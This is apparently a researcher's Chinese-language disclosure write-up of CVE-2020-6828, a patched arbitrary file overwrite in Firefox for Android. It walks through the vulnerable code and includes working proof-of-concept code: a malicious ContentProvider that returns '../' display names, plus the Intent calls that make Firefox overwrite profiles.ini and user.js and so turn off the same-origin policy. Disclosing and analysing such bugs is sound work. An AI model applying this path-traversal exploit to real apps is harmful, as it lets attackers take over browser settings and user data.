CVE-2020-6828:Firefox for Android任意文件覆盖漏洞分析
2020年4月,Mozilla安全公告披露并修复了我在Firefox 68.5提交的一个漏洞,漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件,从而控制浏览器的任意配置项,如配置代理服务器,关闭同源策略等,造成等同与任意代码执行的危害。
漏洞原理
Firefox允许外部APP调用它打开Content URI。
<activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity"> <intent-filter android:priority="999"> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/> <category android:name="android.intent.category.APP_BROWSER"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.BROWSABLE"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="file"/> <data android:scheme="http"/> <data android:scheme="https"/> <data android:scheme="content"/> <data android:mimeType="text/html"/> <data android:mimeType="text/plain"/> <data android:mimeType="application/xhtml+xml"/> <data android:mimeType="image/svg+xml"/> </intent-filter>
如果传入的URI是Content URI,会调用org.mozilla.gecko.util.FileUtils.resolveContentUri。
Intent parseUri = Intent.parseUri(string, 0); if (FileUtils.isContentUri(string)) { String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData()); if (!TextUtils.isEmpty(resolveContentUri)) { geckoBundle2.putString("uri", resolveContentUri); geckoBundle2.putBoolean("isFallback", true); } eventCallback.sendError(geckoBundle2); return; }
resolveContentUri会将Content URI转成File URI。
public static String resolveContentUri(Context context, Uri uri) { String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri); if (TextUtils.isEmpty(originalFilePathFromUri)) { originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri); } if (TextUtils.isEmpty(originalFilePathFromUri)) { return originalFilePathFromUri; } return String.format("file://%s", originalFilePathFromUri); }
重点看getTempFilePathFromContentUri,它调用了getFileNameFromContentUri来从ContentProvider中获取文件名,并将其和Cache目录拼接创建了一个文件,最后调用copy从ContentProvider中读取数据写入到该文件中。
public static String getTempFilePathFromContentUri(Context context, Uri uri) { String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri); File file = new File(context.getCacheDir(), "contentUri"); boolean mkdirs = !file.exists() ? file.mkdirs() : true; if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) { return null; } File file2 = new File(file.getPath(), fileNameFromContentUri); FileUtils.copy(context, uri, file2); return file2.getAbsolutePath(); }
再来看getFileNameFromContentUri,它直接从ContentProvider获取_display_name作为文件名返回,没有进行任何处理。
public static String getFileNameFromContentUri(final Context context, final Uri uri) { final ContentResolver cr = context.getContentResolver(); final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME}; String fileName = null; try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) { if (metaCursor.moveToFirst()) { fileName = metaCursor.getString(0); } } catch (Exception e) { e.printStackTrace(); } return fileName; }
当恶意的ContentProvider返回的_display_name为../evil时,即可跳出Cache目录,导致任意文件覆盖。
如何利用
在Firefox的私有目录中有一个文件/data/data/org.mozilla.firefox/files/mozilla/profiles.ini,其中PATH为随机生成的用户目录。
[Profile0]Name=defaultDefault=1IsRelative=1Path=irgc212v.default[General]StartWithLastProfile=1
在用户目录发现了一个文件prefs.js,内容如下:
// Mozilla User Preferences// DO NOT EDIT THIS FILE.//// If you make changes to this file while the application is running,// the changes will be overwritten when the application exits.//// To change a preference value, you can either:// - modify it via the UI (e.g. via about:config in the browser); or// - set it within a user.js file in your profile.user_pref("android.not_a_preference.addons_active", "[\"webcompat@mozilla.org\",\"default-theme@mozilla.org\"]"); user_pref("android.not_a_preference.addons_disabled", "[]"); ...
从文件的内容得知,可以在用户目录中写入一个user.js文件来修改浏览器的配置项。
创建一个恶意的ContentProvider并实现query和openFile方法。
@Override public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) { Log.d(TAG, "query: "+ Arrays.toString(strings)); String path = uri.getPath(); if (path.contains("user.js")) { File payload = new File(getContext().getExternalCacheDir(), "user.js"); Log.d(TAG, "query: " + path); String[] columnNames = new String[]{"_display_name", "_size"}; MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1); matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()}); return matrixCursor; } else if (path.contains("profiles.ini")) { File payload = new File(getContext().getExternalCacheDir(), "profiles.ini"); Log.d(TAG, "query: " + path); String[] columnNames = new String[]{"_display_name", "_size"}; MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1); matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()}); return matrixCursor; } return null; } @Override public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { Log.d(TAG, "openFile: "+uri.toString()); String path = uri.getPath(); if (path.contains("user.js")) { File payload = new File(getContext().getExternalCacheDir(), "user.js"); return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY); } else if (path.contains("profiles.ini")) { File payload = new File(getContext().getExternalCacheDir(), "profiles.ini"); return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY); } return null; }
然后调用Firefox打开Content URI。
Intent intent = new Intent(); intent.setPackage("org.mozilla.firefox"); intent.setAction(Intent.ACTION_VIEW); intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*"); startActivity(intent); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*"); startActivity(intent);
第一步,先覆盖/data/data/org.mozilla.firefox/files/mozilla/profiles.ini文件,将用户目录PATH修改为/data/data/org.mozilla.firefox/files/mozilla/。
[Profile0]Name=defaultDefault=1IsRelative=1Path=.[General]StartWithLastProfile=1
第二步,在/data/data/org.mozilla.firefox/files/mozilla/目录写入一个user.js文件,即可控制浏览器的任意配置项(具体配置可参见about:config),如写入以下内容就可以关闭File下的同源策略。
user_pref("security.fileuri.strict_origin_policy", false);
漏洞修复
Firefox 68.7在FileUtils新增了sanitizeFilename方法,通过File.getName来对文件名进行清洗,解决了目录遍历的问题。
时间线
- 2020-02-25 – 漏洞提交
- 2020-03-02 – 漏洞确认
- 2020-03-16 – 漏洞修复&赏金发放
- 2020-04-07 – 发布安全公告和漏洞编号
